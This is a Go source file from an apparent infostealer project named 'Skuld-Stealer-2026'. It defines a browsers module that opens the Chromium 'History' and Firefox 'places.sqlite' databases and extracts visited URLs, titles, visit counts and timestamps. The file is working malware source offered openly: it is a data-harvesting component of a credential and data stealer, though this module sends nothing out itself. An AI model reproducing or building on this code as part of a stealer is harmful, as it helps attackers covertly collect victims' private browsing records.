Files
Skuld-Stealer-2026/modules/browsers/history.go
T

84 lines
1.5 KiB
Go
Raw Normal View History

2026-08-27 11:00:27 -06:00
package browsers
import (
"path/filepath"
_ "modernc.org/sqlite"
)
func (c *Chromium) GetHistory(path string) (history []History, err error) {
db, err := GetDBConnection(filepath.Join(path, "History"))
if err != nil {
return nil, err
}
rows, err := db.Query("SELECT url, title, visit_count, last_visit_time FROM urls")
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
continue
}
if url == "" || title == "" {
continue
}
history = append(history, History{
URL: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: lastVisitTime,
})
}
return history, nil
}
func (g *Gecko) GetHistory(path string) (history []History, err error) {
db, err := GetDBConnection(filepath.Join(path, "places.sqlite"))
if err != nil {
return nil, err
}
rows, err := db.Query("SELECT url, title, visit_count, last_visit_date FROM moz_places")
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
continue
}
if url == "" || title == "" {
continue
}
history = append(history, History{
URL: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: lastVisitTime,
})
}
return history, nil
}